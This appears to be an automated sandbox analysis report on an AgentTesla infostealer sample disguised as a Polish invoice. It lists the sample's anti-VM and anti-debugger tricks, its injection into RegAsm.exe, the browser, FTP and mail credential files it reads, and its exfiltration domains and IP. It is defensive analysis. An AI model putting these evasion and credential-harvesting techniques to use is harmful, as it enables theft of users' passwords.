            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

            Malware Analysis System Evasion:

            barindex
            Detected RDTSC dummy instruction sequence (likely for instruction hammering)Show sources
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeRDTSC instruction interceptor: First address: 0000000002342385 second address: 0000000002342385 instructions: 0x00000000 rdtsc 0x00000002 xor eax, eax 0x00000004 inc eax 0x00000005 cpuid 0x00000007 popad 0x00000008 call 00007F4DA0B46EF8h 0x0000000d lfence 0x00000010 mov edx, dword ptr [7FFE0014h] 0x00000016 lfence 0x00000019 ret 0x0000001a sub edx, esi 0x0000001c ret 0x0000001d test dx, ax 0x00000020 pop ecx 0x00000021 cmp dl, FFFFFF90h 0x00000024 add edi, edx 0x00000026 dec ecx 0x00000027 cmp ecx, 00000000h 0x0000002a jne 00007F4DA0B46EDBh 0x0000002c push ecx 0x0000002d cmp dl, bl 0x0000002f call 00007F4DA0B46F0Dh 0x00000034 call 00007F4DA0B46F08h 0x00000039 lfence 0x0000003c mov edx, dword ptr [7FFE0014h] 0x00000042 lfence 0x00000045 ret 0x00000046 mov esi, edx 0x00000048 pushad 0x00000049 rdtsc
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeRDTSC instruction interceptor: First address: 0000000002345485 second address: 0000000002345485 instructions:
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeRDTSC instruction interceptor: First address: 0000000002340984 second address: 0000000002340984 instructions:
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeRDTSC instruction interceptor: First address: 0000000000F80B51 second address: 0000000000F80B51 instructions:
            Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)Show sources
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
            Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)Show sources
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
            Tries to detect Any.runShow sources
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeFile opened: C:\Program Files\Qemu-ga\qemu-ga.exeJump to behavior
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeFile opened: C:\Program Files\qga\qga.exeJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Program Files\Qemu-ga\qemu-ga.exeJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Program Files\qga\qga.exeJump to behavior
            Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)Show sources
            Source: RegAsm.exeBinary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
            Tries to detect virtualization through RDTSC time measurementsShow sources
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeRDTSC instruction interceptor: First address: 0000000002342385 second address: 0000000002342385 instructions: 0x00000000 rdtsc 0x00000002 xor eax, eax 0x00000004 inc eax 0x00000005 cpuid 0x00000007 popad 0x00000008 call 00007F4DA0B46EF8h 0x0000000d lfence 0x00000010 mov edx, dword ptr [7FFE0014h] 0x00000016 lfence 0x00000019 ret 0x0000001a sub edx, esi 0x0000001c ret 0x0000001d test dx, ax 0x00000020 pop ecx 0x00000021 cmp dl, FFFFFF90h 0x00000024 add edi, edx 0x00000026 dec ecx 0x00000027 cmp ecx, 00000000h 0x0000002a jne 00007F4DA0B46EDBh 0x0000002c push ecx 0x0000002d cmp dl, bl 0x0000002f call 00007F4DA0B46F0Dh 0x00000034 call 00007F4DA0B46F08h 0x00000039 lfence 0x0000003c mov edx, dword ptr [7FFE0014h] 0x00000042 lfence 0x00000045 ret 0x00000046 mov esi, edx 0x00000048 pushad 0x00000049 rdtsc
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeRDTSC instruction interceptor: First address: 00000000023424DB second address: 00000000023424DB instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a ret 0x0000000b mov esi, edx 0x0000000d pushad 0x0000000e xor eax, eax 0x00000010 inc eax 0x00000011 cpuid 0x00000013 bt ecx, 1Fh 0x00000017 jc 00007F4DA05B9491h 0x0000001d popad 0x0000001e call 00007F4DA05B7370h 0x00000023 lfence 0x00000026 rdtsc
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeRDTSC instruction interceptor: First address: 0000000002345485 second address: 0000000002345485 instructions:
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeRDTSC instruction interceptor: First address: 0000000002340984 second address: 0000000002340984 instructions:
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeRDTSC instruction interceptor: First address: 0000000000F824DB second address: 0000000000F824DB instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a ret 0x0000000b mov esi, edx 0x0000000d pushad 0x0000000e xor eax, eax 0x00000010 inc eax 0x00000011 cpuid 0x00000013 bt ecx, 1Fh 0x00000017 jc 00007F4DA0B49021h 0x0000001d popad 0x0000001e call 00007F4DA0B46F00h 0x00000023 lfence 0x00000026 rdtsc
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeRDTSC instruction interceptor: First address: 0000000000F80B51 second address: 0000000000F80B51 instructions:
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_00F824D8 rdtsc 2_2_00F824D8
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWindow / User API: threadDelayed 1095Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWindow / User API: threadDelayed 8754Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 4980Thread sleep time: -14757395258967632s >= -30000sJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: RegAsm.exe, 00000002.00000002.608987093.000000000129C000.00000004.00000020.sdmpBinary or memory string: Hyper-V RAW
            Source: RegAsm.exeBinary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information queried: ProcessInformationJump to behavior

            Anti Debugging:

            barindex
            Hides threads from debuggersShow sources
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeThread information set: HideFromDebuggerJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread information set: HideFromDebuggerJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread information set: HideFromDebuggerJump to behavior
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeProcess queried: DebugPortJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess queried: DebugPortJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_00F824D8 rdtsc 2_2_00F824D8
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeCode function: 0_2_02342E6B LdrInitializeThunk,0_2_02342E6B
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_00F822DB mov eax, dword ptr fs:[00000030h]2_2_00F822DB
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_00F849C5 mov eax, dword ptr fs:[00000030h]2_2_00F849C5
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_00F84A48 mov eax, dword ptr fs:[00000030h]2_2_00F84A48
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_00F83F39 mov eax, dword ptr fs:[00000030h]2_2_00F83F39
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_00F84310 mov eax, dword ptr fs:[00000030h]2_2_00F84310
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess token adjusted: DebugJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: page read and write | page guardJump to behavior

            HIPS / PFW / Operating System Protection Evasion:

            barindex
            Writes to foreign memory regionsShow sources
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: F80000Jump to behavior
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\FAKTURA I RACHUNKI.exe' Jump to behavior
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\FAKTURA I RACHUNKI.exe' Jump to behavior
            Source: RegAsm.exe, 00000002.00000002.609296297.00000000017B0000.00000002.00000001.sdmpBinary or memory string: Shell_TrayWnd
            Source: RegAsm.exe, 00000002.00000002.609296297.00000000017B0000.00000002.00000001.sdmpBinary or memory string: Progman
            Source: RegAsm.exe, 00000002.00000002.609296297.00000000017B0000.00000002.00000001.sdmpBinary or memory string: &Program Manager
            Source: RegAsm.exe, 00000002.00000002.609296297.00000000017B0000.00000002.00000001.sdmpBinary or memory string: Progmanlock
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\FAKTURA I RACHUNKI.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

            Stealing of Sensitive Information:

            barindex
            Yara detected AgentTeslaShow sources
            Source: Yara matchFile source: 00000002.00000002.614309170.000000001DAE1000.00000004.00000001.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 5612, type: MEMORY
            Tries to harvest and steal browser information (history, passwords, etc)Show sources
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.iniJump to behavior
            Tries to harvest and steal ftp login credentialsShow sources
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xmlJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\Jump to behavior
            Tries to steal Mail credentials (via file access)Show sources
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.iniJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.iniJump to behavior
            Source: Yara matchFile source: 00000002.00000002.614309170.000000001DAE1000.00000004.00000001.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 5612, type: MEMORY

            Remote Access Functionality:

            barindex
            Yara detected AgentTeslaShow sources
            Source: Yara matchFile source: 00000002.00000002.614309170.000000001DAE1000.00000004.00000001.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 5612, type: MEMORY

            Mitre Att&ck Matrix

            Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
            Valid AccountsWindows Management Instrumentation211DLL Side-Loading1Process Injection112Disable or Modify Tools1OS Credential Dumping2Query Registry1Remote ServicesEmail Collection1Exfiltration Over Other Network MediumEncrypted Channel12Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
            Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsDLL Side-Loading1Virtualization/Sandbox Evasion341LSASS MemorySecurity Software Discovery631Remote Desktop ProtocolArchive Collected Data1Exfiltration Over BluetoothNon-Standard Port1Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
            Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Process Injection112Security Account ManagerProcess Discovery2SMB/Windows Admin SharesData from Local System2Automated ExfiltrationNon-Application Layer Protocol1Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
            Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Obfuscated Files or Information1NTDSVirtualization/Sandbox Evasion341Distributed Component Object ModelClipboard Data1Scheduled TransferApplication Layer Protocol112SIM Card SwapCarrier Billing Fraud
            Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptDLL Side-Loading1LSA SecretsApplication Window Discovery1SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
            Replication Through Removable MediaLaunchdRc.commonRc.commonSteganographyCached Domain CredentialsRemote System Discovery1VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
            External Remote ServicesScheduled TaskStartup ItemsStartup ItemsCompile After DeliveryDCSyncSystem Information Discovery313Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet
            behaviorgraph top1 signatures2 2 Behavior Graph ID: 383950 Sample: FAKTURA I RACHUNKI.exe Startdate: 08/04/2021 Architecture: WINDOWS Score: 100 24 Found malware configuration 2->24 26 Multi AV Scanner detection for submitted file 2->26 28 Sigma detected: RegAsm connects to smtp port 2->28 30 6 other signatures 2->30 7 FAKTURA I RACHUNKI.exe 1 2->7         started        process3 signatures4 32 Writes to foreign memory regions 7->32 34 Tries to detect Any.run 7->34 36 Hides threads from debuggers 7->36 10 RegAsm.exe 9 7->10         started        14 RegAsm.exe 7->14         started        process5 dnsIp6 18 brimaq.com 78.128.8.31, 49751, 587 TELEPOINTBG Bulgaria 10->18 20 mail.brimaq.com 10->20 22 2 other IPs or domains 10->22 38 Tries to steal Mail credentials (via file access) 10->38 40 Tries to harvest and steal ftp login credentials 10->40 42 Tries to harvest and steal browser information (history, passwords, etc) 10->42 52 2 other signatures 10->52 16 conhost.exe 10->16         started        44 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 14->44 46 Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines) 14->46 48 Detected RDTSC dummy instruction sequence (likely for instruction hammering) 14->48 50 Tries to detect virtualization through RDTSC time measurements 14->50 signatures7 process8

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.

            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            FAKTURA I RACHUNKI.exe21%VirustotalBrowse
            FAKTURA I RACHUNKI.exe12%ReversingLabsWin32.Trojan.Generic

            Dropped Files

            No Antivirus matches

            Unpacked PE Files

            No Antivirus matches

            Domains

            SourceDetectionScannerLabelLink
            brimaq.com0%VirustotalBrowse
            mail.brimaq.com1%VirustotalBrowse

            URLs

            SourceDetectionScannerLabelLink
            http://127.0.0.1:HTTP/1.10%Avira URL Cloudsafe
            http://DynDns.comDynDNS0%URL Reputationsafe
            http://DynDns.comDynDNS0%URL Reputationsafe
            http://DynDns.comDynDNS0%URL Reputationsafe
            http://DynDns.comDynDNS0%URL Reputationsafe
            http://cps.letsencrypt.org00%URL Reputationsafe
            http://cps.letsencrypt.org00%URL Reputationsafe
            http://cps.letsencrypt.org00%URL Reputationsafe
            http://cps.letsencrypt.org00%URL Reputationsafe
            https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha0%URL Reputationsafe
            https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha0%URL Reputationsafe
            https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha0%URL Reputationsafe
            https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha0%URL Reputationsafe
            http://crl.pki.goog/GTS1O1core.crl00%URL Reputationsafe
            http://crl.pki.goog/GTS1O1core.crl00%URL Reputationsafe
            http://crl.pki.goog/GTS1O1core.crl00%URL Reputationsafe
            http://crl.pki.goog/GTS1O1core.crl00%URL Reputationsafe
            http://brimaq.com0%VirustotalBrowse
            http://brimaq.com0%Avira URL Cloudsafe
            http://mail.brimaq.com0%Avira URL Cloudsafe
            http://r3.o.lencr.org00%URL Reputationsafe
            http://r3.o.lencr.org00%URL Reputationsafe
            http://r3.o.lencr.org00%URL Reputationsafe
            http://pki.goog/gsr2/GTS1O1.crt00%URL Reputationsafe
            http://pki.goog/gsr2/GTS1O1.crt00%URL Reputationsafe
            http://pki.goog/gsr2/GTS1O1.crt00%URL Reputationsafe
            http://crl.pki.goog/gsr2/gsr2.crl0?0%URL Reputationsafe
            http://crl.pki.goog/gsr2/gsr2.crl0?0%URL Reputationsafe
            http://crl.pki.goog/gsr2/gsr2.crl0?0%URL Reputationsafe
            https://pki.goog/repository/00%URL Reputationsafe
            https://pki.goog/repository/00%URL Reputationsafe
            https://pki.goog/repository/00%URL Reputationsafe
            http://KeXrtgodXUi1h.com0%Avira URL Cloudsafe
            http://bbllRW.com0%Avira URL Cloudsafe
            http://cps.root-x1.letsencrypt.org00%URL Reputationsafe
            http://cps.root-x1.letsencrypt.org00%URL Reputationsafe
            http://cps.root-x1.letsencrypt.org00%URL Reputationsafe
            http://r3.i.lencr.org/00%URL Reputationsafe
            http://r3.i.lencr.org/00%URL Reputationsafe
            http://r3.i.lencr.org/00%URL Reputationsafe

            Domains and IPs

            Contacted Domains

            NameIPActiveMaliciousAntivirus DetectionReputation
            brimaq.com
            78.128.8.31
            truetrueunknown
            googlehosted.l.googleusercontent.com
            172.217.168.33
            truefalse
              high
              mail.brimaq.com
              unknown
              unknowntrueunknown
              doc-0s-1k-docs.googleusercontent.com
              unknown
              unknownfalse
                high

                Contacted URLs

                NameMaliciousAntivirus DetectionReputation
                http://KeXrtgodXUi1h.comtrue
                • Avira URL Cloud: safe
                unknown

                URLs from Memory and Binaries

                NameSourceMaliciousAntivirus DetectionReputation
                http://127.0.0.1:HTTP/1.1RegAsm.exe, 00000002.00000002.614309170.000000001DAE1000.00000004.00000001.sdmpfalse
                • Avira URL Cloud: safe
                low
                http://DynDns.comDynDNSRegAsm.exe, 00000002.00000002.614309170.000000001DAE1000.00000004.00000001.sdmpfalse
                • URL Reputation: safe
                • URL Reputation: safe
                • URL Reputation: safe
                • URL Reputation: safe
                unknown
                http://cps.letsencrypt.org0RegAsm.exe, 00000002.00000002.609079572.0000000001300000.00000004.00000020.sdmpfalse
                • URL Reputation: safe
                • URL Reputation: safe
                • URL Reputation: safe
                • URL Reputation: safe
                unknown
                https://doc-0s-1k-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/ilq0gs3hRegAsm.exe, 00000002.00000002.608987093.000000000129C000.00000004.00000020.sdmpfalse
                  high
                  https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%haRegAsm.exe, 00000002.00000002.614309170.000000001DAE1000.00000004.00000001.sdmpfalse
                  • URL Reputation: safe
                  • URL Reputation: safe
                  • URL Reputation: safe
                  • URL Reputation: safe
                  unknown
                  http://crl.pki.goog/GTS1O1core.crl0RegAsm.exe, 00000002.00000002.609009636.00000000012BB000.00000004.00000020.sdmpfalse
                  • URL Reputation: safe
                  • URL Reputation: safe
                  • URL Reputation: safe
                  • URL Reputation: safe
                  unknown
                  http://brimaq.comRegAsm.exe, 00000002.00000002.614735524.000000001DE41000.00000004.00000001.sdmpfalse
                  • 0%, Virustotal, Browse
                  • Avira URL Cloud: safe
                  unknown
